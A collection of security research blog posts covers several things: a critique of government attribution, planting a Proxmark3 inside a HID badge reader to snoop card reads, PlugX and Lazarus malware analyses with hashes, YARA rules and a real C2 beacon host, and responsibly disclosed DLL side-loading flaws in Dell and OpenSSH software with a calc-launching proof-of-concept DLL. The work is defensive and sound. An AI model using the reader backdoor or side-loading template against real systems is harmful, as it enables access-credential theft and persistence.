Killed In Translation

Preface:
A director at Google once told me that the larger an organization, the less subtlety is possible in what it says publicly, and even the most carefully postulated assessment, cushioned with supporting analytic language, will be interpreted as fact.


Naming of threat actor groups and malware is a critical aspect to tracking cyber operations. Armchair Researchers, more concerned with social media follower counts, often decry these names as marketing hooks, whereas they are actually complex shibboleths that convey the scope of a set of activity and its sourcing.

Since roughly 2016, the United States government has been actively working to collaborate with non-government agencies. The National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have all begun publicly sharing tactical reporting containing technical details, indicators, and defensive recommendations. These reports have become a staple of any major cyber incident because they provide an authoritative situational overview and an initial starting point for collaboration.

In recent reports[1][2], attribution has been presented at the forefront of the report and used industry cryptonyms along with military units or specific government entities. While this may be intended to support broader usage (outside of technical consumers), attribution in these reports, without supporting analysis, is creating a dangerous precedent.

Technical analysis is fundamentally rooted in scientific methodology. When research is presented, a basic requirement is that it is sufficiently detailed to be validated by reproducing the analysis. Within the aforenoted reports, attribution is presented as a statement of fact, similar in confidence to the reported dates or software versions, instead of as a confidence-structured assessment.

It may be possible the authors of these reports have a Palantír[3], allowing them to perfectly identify the hostile authors, but without proper confidence language and presentation, these assessments are just as likely to have been made by a roll of the dice.

In future reports, providing context regarding how reported activity links to named sets will provide critical information to existing understanding of these groups. In instances where providing this information may risk sources and methods, limiting assessed attribution to a broad geographic estimate or omitting it entirely may provide a better service.

[1] https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf
[2] https://media.defense.gov/2020/Jul/16/2002457639/-1/-1/0/NCSC_APT29_ADVISORY-QUAD-OFFICIAL-20200709-1810.PDF
[3] https://en.wikipedia.org/wiki/Palant%C3%ADr

Backdooring a HID Reader

A while back, I bought a HID Prox Pro II on eBay for some long-forgotten experiment — likely this. Outside of being well documented and cheaply available, @shakataganai wrote a fantastic article about how to connect it to an Arduino, which makes it ideal for some testing.

HID Prox Pro II

While exploring the device, I was disappointed that the actual components of the device (except the antenna) were sealed under some type of resin coating. Despite the components being inaccessible, I noticed there was a lot of available space inside…Big enough to fit an entire Proxmark3. So — theoretically, it may be possible to install a device inside this empty space that could capture tag data whenever someone swipes.

Interior of HID reader

Proxmark3 sitting inside

Feedback from folks on Twitter noted the potential for interference between the two devices — which makes sense, if the HID card reader is emitting a signal to power a card, a second device in close proximity could cause a problem.

Reply from Iceman

The argument is sound, I’d previously experimented with an Anti-NFC card from CN360’s Unicorn team, which emits a signal to jam communication between a reader and a tag.

A possible way to get around this came from NotMedic and iceman was to possibly wire the Proxmark to the device’s physical antenna.
From looking at the inside of the HID device, it wouldn’t be terribly hard to solder a lead to the exposed antenna connection — using an alligator clip may be faster.

Antenna connection

However, I wasn’t feeling bold enough to go that route, and opted to use the stock antenna and test things out. From the Proxmark client, I was able to verify readability of my testing tag/card.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
proxmark3> lf search
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:

HID Prox TAG ID: 2e6277a2df
--------------------------------------------------
Format: C1k35s (HID Corporate 1000 35-bit standard layout)
Facility Code: 787
Card Number: 774511
Parity: Valid
--------------------------------------------------
Valid HID Prox ID Found!
Using lf snoop, the device will eavesdrop in on the tag reads from the HID reader:
proxmark3> lf snoop
proxmark3> data sample
Reading 39999 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
proxmark3> data plot

Plotted

Practicality

While a nifty trick there are some practicalities that make conducting this a challenge:
Tamper sensors — as mdhardeman pointed out many HID readers have either optical or switch based tamper sensors to alert if someone attempts this.
Space & Power— While Proxmark fits, I needed to run a USB cable out the back for power/comms, which was tricky. Use in the field may be better using something like a ESP-RFID-Tool, as pointed out by jermainlaforce. Despite the ESP-RFID-Tool having a smaller footprint, it uses wifi — which unless carefully planned, could lead to having to physically be close to the backdoored HID reader.

(Post migrated from Medium - https://medium.com/emptyregisters/backdooring-a-hid-reader-22a9cc9bd92b )

Fresh PlugX October 2019

On 15 November 2019, I received a VirusTotal notification for a copy of PlugX that had been uploaded ( Yara - PlugXBootLDRCode from https://github.com/citizenlab/malware-signatures/blob/master/malware-families/plugx.yara ).

1
2
3
4
5
6
7
8
9
MD5          : ce67994a4ee7cf90645e93aec084230d
SHA1 : b42c84f851b8b7d2d2ddfbc9ac94e001204faf45
SHA256 : 6b46e36245b5b9ed13c0fbfae730b49c04aba43b98deb75e388e03695ff5cbd1
Type : Win32 DLL

First seen : 2019-11-15 08:04:32 UTC
Last seen : 2019-11-15 08:04:32 UTC&nbsp

First name : plugx.dll

What stood out from the notification (outside of the file being named plugx.dll) was a compilation time of Fri Oct 4 08:34:45 2019 UTC (a little more then a month before the writing of this post).

Initial Validation

This specific rule matches on operations for assembling a set of API calls - shown below

1
2
3
4
5
$ yara -s All.yara sample
PlugXBootLDRCode [PlugX,Family] 6b46e36245b5b9ed13c0fbfae730b49c04aba43b98deb75e388e03695ff5cbd1
0x7708:$GetProcAdd: 80 38 47 75 36 80 78 01 65 75 30 80 78 02 74 75 2A 80 78 03 50
0x7786:$L4_LoadLibraryA: C7 85 5C FF FF FF 4C 6F 61 64 C7 85 60 FF FF FF 4C 69 62
0x7859:$L4_ExitThread: C7 85 FC FE FF FF 45 78 69 74 C7 85 00 FF FF FF 54 68 72 65

Screenshot of match condition in IDA

As a general note, the -s flag in Yara is used for outputting the matched strings and is extremely useful for debugging rules and evaluating why a file matched.

From a quick comparison of the strings, a quick Google search found previous reporting confirming this file was PlugX (ref: http://takahiroharuyama.github.io/blog/2014/03/27/id-slash-idapython-scripts-extracting-plugx-configs/)

1
2
3
4
5
6
7
8
9
10
11
12
13
DEMO...
THIS IS A DEMO VERSION!!!
\\.\PIPE\RUN_AS_USER(%d)
%WINDIR%\SYSTEM32\SERVICES.EXE
Software\Microsoft\Windows\CurrentVersion\Run
System\CurrentControlSet\Services
debug.hlp
C:\Windows\System32\rundll32.exe "%s" BypassUAC %s
PI[%8.8X]
%s\%d.plg
mytilus3.hlp

%04d-%02d-%02d %02d:%02d:%02d

Overlaps with versions

A outstanding point of reference evaluating PlugX is the Sophos report (https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf). On Page 7, Gabor Szappanos has a table covering the supported commands. In this copy, sub_10008DE acts as a command handler for evaluating operator commands and can be used to evaluate this copy against that from 2014:

In the above screenshot, many of the commands from the 2014 version are present; some additional commands are present, however, handled withing sub-functions of sub_10008DE.

What did appear unique was a set of commands for monitor clipboard activity:

An initial Google search did not show any hits for these being previously documented commands in PlugX - suggesting it may be a new feature - however, further analysis is needed to validate this.

Lazarus obfuscation in Feb 2019

Lazarus obfuscation in Feb 2019

Starting off, I’d like to give a shot-out to Brian Bartholomew (Twitter: @Mao_Ware) for his general awesomeness and for his post on 30 January from which this research starts.

Using this as a base for the following Yara rule, I found a similar sample (SHA256: 625f63364312cec78a4c91abedba868d551d79185ff73e388f561017b13347f0) also packed with UPX.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rule LazarusDocJan2019_01
{
meta:
author = "Silas Cutler"
description = "Detection for Lazarus Payload from Jan 2019"
ref = "https://twitter.com/DrunkBinary/status/1090625122883510274"
version = "0.1"
strings:
$ = "\"Main Invoked.\""
$ = "\"Main Returned.\""
$ = "%sd.%se%sc %s > %s 2>&1"
condition:
all of them
}

As with the sample Brian identified, the control server is not obfuscated in the binary:

Control server in `WinMain` function

Sandboxing of the sample, confirms the malware beacons to this URL:

1
2
3
4
5
6
GET /intro/info/info.asp?id=dn678 HTTP/1.1.
Accept: */*.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E).
Host: poem.ekosa.org.
Connection: Keep-Alive.

In IDA, we can see the malware uses the standard LoadLibrary / GetProcessAddress method for dynamically loading some key function calls. Shown below, the encoded string y8zS2vHp8PLx//rK8dj38vvf is base64 decoded and XORed by 0x9E, resulting in the string URLDownloadToFileA that is passed to GetProcAddress.

The data returned by the control server is decoded using the same method as the URLDownloadToFileA (shown below).

The decoded contents are written to disk for execution, unless the response starts with sleep, which will cause the sample to pause for 60000ms, before retrying the request.

Sandboxing also showed the sample made several other HTTP calls to the same URL with the parameter string search=2tjbpK6urq6urq6u.

1
2
3
4
5
6
GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1.
Accept: */*.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E).
Host: poem.ekosa.org.
Connection: Keep-Alive.

In IDA, we can see that the ?search= is concatenated to end of the URL along with a value that is XOR-encoded using a key of 0x9E and then base64 encoded, shown below.

indata is XOR encoded using 0x9E and then base64-ed

Knowing the obfuscation is trivial, in a few lines of Python — the value being sent was DFE:00000000

1
2
3
4
5
6
7
8
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) 
>>> indata = "2tjbpK6urq6urq6u"
>>> out = ""
>>> for byte in indata.decode('base64'):
... out += chr(ord(byte) ^ 0x9E)
...
>>> out
'DFE:00000000'

However, outside of the novel ability to decode something arbitrarily encode, this doesn’t provide any insight about functionality or purpose. Turning back to IDA, we can see the string DFE:%08x is a format string that takes an unsigned int. Looking at where this string is defined, we can see there are several similar strings.

1
2
3
4
5
6
7
8
.rdata:00417644 aIdDn678        db '?id=dn678'
.rdata:00417658 aSearch db '?search='
.rdata:00417664 aCfe08x db 'CFE:%08x'
.rdata:00417670 aGfse08x db 'GFSE:%08x'
.rdata:0041767C aLae08x db 'LAE:%08x'
.rdata:00417688 aRfe08x db 'RFE:%08x'
.rdata:00417780 aCpe08x db 'CPE:%08x'
.rdata:0041778C aDfe08x db 'DFE:%08x'

For each of these, the associated derived from GetLastError() (shown below).

Running through the rest of the file, the strings correlate as follows - https://gist.githubusercontent.com/silascutler/4245513e2dc1a7a9fc3d73346dd0cd12/raw/17d5bea8f80e73ca84a4ca0f36f19209c271f267/strfmt.csv

(Post migrated from Medium - https://medium.com/emptyregisters/lazarus-downloader-brief-analy-17875f342d96 )

Finding the same bugs in all the familiar places

(Migrated Post)

A while back, I had a patch of cases where I was regularly looking at samples leveraging DLL Side loading (also called Search Order Hijacking) as part of their setup phase. This vulnerability exists because of how Windows handles resolving libraries for applications and can be exploited to cause an application to inadvertently load (at the same privilege level) a malicious library. When a library is
loaded by an application (either delayed or at execution), Windows will check the following locations
in order for a copy of the library:

https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order

The above shows the locations checked when SafeDllSearchMode is disabled. When enabled, the current directory is checked fifth, instead of second.

This process can be exploited when a malicious library is added to one of these locations - before
the actual library natively resides. For example, if MyApp.exe is attempting to load TestLib.dll,
which is located in SYSTEM32 (location #3 above) and an attacker deploys a malicious copy to the current working directory
(#2 above) - the malicious copy will be loaded, instead of the native copy.

Exploitation of this technique in the wild has been commonly used by attackers for mainly:

  • Initial access deployment - In observed cases, a vulnerable legitimate and signed executable is bundled with a malicious
    library and obfuscated payload inside of a Self-Extracting (SFX) RAR Archive.
  • System persistence - Attackers install a malicious library to the same folder as a vulnerable application that is
    regularly executed or run as a system service

Some have argued that DLL Side loading is an Antivirus (AV) vulnerability - based on the
assumption / that detection engines only look at the parent process and make a determination
based on that. While that may be the case for some AV products (and of those from 2005), the
vulnerability can be exploited for tactical uses, beyond a detection bypass. In addition to being
usable for persistence, because the side loaded libraries are run at the same privilege level as
the associated process, if loaded by a system services, it would be possible to escalate to
SYSTEM level.

Calc.exe opened by maliciously library loaded by vulnerable application

Following are two interesting applications I found that were vulnerable to DLL Side loading that
have finished the notification process and some analytical assessments of each:

Dell Power Management Packages

While rebuilding a bare-metal sandbox, I ran the Dell Power Management Service Updater ( Dell-Power-Manager-Service_XJ50Y_WIN64_3.0.0_A00.EXE / SHA256 Hash
62dcd3ba9a005255a651dfb601405a6258312cbcd1bdf63489f65837b212601a) through
Siofra as a cursory check.

Following is the output from this check:

Output

From the output, six of the dependencies of this installer were flagged as vulnerable. Using
Process Monitor when the installer was executed (from C:\Users\User\Desktop\), the highlighted lines show the installer first attempting to open VERSION.dll from the same directory as the installer, before then moving on to SYSTEM32 - showing that the installer was highly-likely vulnerable.

Output

In order to confirm fully this vulnerability, a PoC malicious library was written in Visual Studio with
the same exports as VERSION.dll linked to the original library. The main components of this
are DllMain, which contains a switch statement with a WinExec call to open calc.exe
whenever the library is loaded (shown first), and the links to the original library exports
(shown second):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
WinExec("c:\\windows\\system32\\calc.exe", SW_SHOW);
}
case DLL_THREAD_ATTACH:
{
WinExec("c:\\windows\\system32\\calc.exe", SW_SHOW);
}
}
return TRUE;
}
1
#pragma comment(linker, "/export:GetFileVersionInfoA=C:/Windows/System32/version.GetFileVersionInfoA")

The result of this is a beautiful waterfall of calc when the installer is loaded:

Output

What makes this case interesting is that the vulnerable application is installed by default on some new Dell systems. For an attacker, this type of vulnerability could be trivially leveraged for persistence - given the large-installation base.

Notification Timeline:

Date Event
2018 May 9 Reported to Dell
2018 May 9 Dell acknowledge receipt
2018 May 15 Dell re-acknowledge receipt
2019 May 20 Dell provides update stating review is in final review and release coming soon
2019 June 3 Dell provides update that another researcher has submitted additional information related to original vulnerability
2019 September 1 I Requested status update
2019 September 4 Dell states the review is in final review and update coming next week
2019 September 12 Dell publishes Security Advisory (DSA-2019-065 / CVE-2019-3726)

Windows 10 OpenSSH Client

While preparing for the 2019 Northeast Collegiate Cyber Defense Competition (NECCDC) I
found that several of the executable files (listed below) for OpenSSH for Windows (version 7.6.0.0)
were also vulnerable to DLL Side loading, using the same method of identification with Siofra,
validation with ProcessMonitor and validation with a PoC.

1
2
3
4
5
6
7
C:\Windows\System32\OpenSSH\scp.exe
C:\Windows\System32\OpenSSH\sftp.exe
C:\Windows\System32\OpenSSH\ssh-add.exe
C:\Windows\System32\OpenSSH\ssh-agent.exe
C:\Windows\System32\OpenSSH\ssh-keygen.exe
C:\Windows\System32\OpenSSH\ssh-keyscan.exe
C:\Windows\System32\OpenSSH\ssh.exe

In each of the vulnerable executable files, the following libraries could be used for exploitation:

1
2
3
4
5
6
7
bcrypt.dll
logoncli.dll
netutils.dll
ntmarta.dll
samcli.dll
SspiCli.dll
wkscli.dll

Unlike the previous case, this vulnerability is inherently interesting because of the large base of potentially vulnerable systems. However, this vulnerability impacting OpenSSH allows for a number of theoretically possible attacks, that may not applicable to large-scale usage, but may be of high value in a targeted attack scenario.

Notification Timeline:

Date Event
2019 March 11 Reported to Microsoft MSRC
2019 March 11 Received automated acknowledgement
2019 March 20 Received acknowledgement report was being reviewed
2019 March 28 Microsoft verified the issue, however determined it does not meet their bar for servicing via a monthly security update.

Final Thoughts

As exploitation of these vulnerabilities require either existing system access or social engineering,
they are by no means the most critical out there. However, I feel @n0x00 described it best in a
GitHub thread: “it’s the XSS of thick client work”.